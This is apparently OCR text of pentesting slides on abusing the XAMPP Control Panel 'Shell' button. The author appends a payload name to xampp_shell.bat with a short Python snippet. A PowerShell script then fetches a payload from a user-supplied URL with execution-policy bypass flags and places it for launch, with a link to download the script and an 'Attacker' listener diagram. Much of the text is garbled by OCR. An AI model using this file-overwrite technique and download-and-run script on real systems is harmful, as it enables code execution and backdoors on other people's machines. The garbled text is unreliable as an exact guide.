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Application pentesting

e Xampp fullapplication is not vulnerable butit shell
option is vulnerable.Becouse its generate cmd prompt
and we can bind payloads in this option.

XAMPP Control Panel v3.2.4

g ) Netstat
Module  PID(s) Port(s) Actions =
Apache Start A Config Logs B Shell
MysaL Start Adr Config Logs Explorer\
FileZilla Start £ Config Logs F. Services .
& Vulnerable Option
Mercury Start Adr Config Logs © Help
Tomcat Start Config Logs [l quit
M [main] Initializing Control Panel
M [main] Windows Version: Pro 64-bit
XAMPP Control Panel v3.2.4 @ Config
& N
Module  PID(s) Port(s) Actions o Nesint
Apache Start A Config Logs
MysaL Start Config Logs Explorer
FileZilla Start Config Logs B Services After click this option generate the cmd prompt
Mercury Start A Config Logs © Help
Tomcat Start A Config Logs & out
main] Initializing Control Panel
main] Windows Version: Pro 64-bit
main] XAMPP Version: 7.4.6
main] Control Panel Version: 3.2.4 [ Compiled: Jun 5th 2019 ]
main] You are not running with administrator rights! This will work for
PM [main] most application stuff but whenever you do something with services
1 [main] there will be a security dialogue or things will break! So think
1 [main] about runnina this application with administrator rights!
| [main] gH
1 [main]
main] it
ey cetting en onment for using XAMPP for Windows<
main]
maln] yankara@ P-1J6P16M c:\xampp




1.Howdoes it works?

shell option

xampp_shell
__-bat

xampp_she...

XAMPP for Windows

Setting environment for using XAMPP for Windows.

Priyankara@DESKTOP-1J6P18M c:\users\priyankaral\desktop
H#
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2.How to exploit this vulnerability?
e File write

Or

e File replace

I’m using simple python script.Becouse it’s very easy.

@ xamppy X

file = open("xampp_shell._bat","a+")

4 file.write(/"payload.exe
file.close()

file = open(“xamp_shell.bat”,”a+")

file.write(“your payload name\n”)




file.close()

Please download my powershell script

Download link :-

https://github.com/Ravindu-Priyankara/Xampp-File-
Overwrite-Vulnerability-.git

it Selection View Go Run Terminal Help file.ps1 - Visual Studio Code

X

Jsers > Priyankara > Desktop > all > powershell >

[ ]¥pth = Read-Host -Prompt "Typ ip installing path(C:\xampp\):-"

cd Spth

Write-Host "1.

Write-Host "2. y P

[ ]$paytype = Read-Host -Prompt "Enter Your Choice:-"
($paytype -eq "1") {

“ 1$Url = Read-Host -Prompt "Enter your url:-"
powershell .exe -w -nop -ep bypass -c wget "$Url" -outfile "payload.exe™;

}
($paytype -eq "2") {
Write-Host "Please rename your payload °
[ ]$pth2 = Read-Host -Prompt "Typ
Copy-Ttem $pth2 $pth

}

cd $pth\module

Download and run this powershell script.
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3.After write or replace .How does it works?

shell option

zampp_shel Attacker
1.bat

chmd.exe

Your payload.exe

on [any] 45

ironment for

XAMPP Control Panel v3.2.4 Confia

Module PID(s) Port(s)  Actions Peiet
Apache Config Logs Shei
mysaL Contig Explorer
FiozZila Contig B Services
Mercury Logs oo
Tomcat Looa TR
[Tomcat] \ Tomeat Not Found! PS

[Tomeat] t button:
| [Tomcat] R 5 from your
1 [Tomcat] t
[Tomeat]
[Tomecat]
1 [main]

oot directory!
catalir it Not Found!
talina,

atalina_service bat

xampp_she...




Questions?
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SRKaXBSIXwvMQ

e https://www.linkedin.com/in/ravindu-priyankara-
b77753209/

e h.h.a.r.p.premachandra@gmail.com
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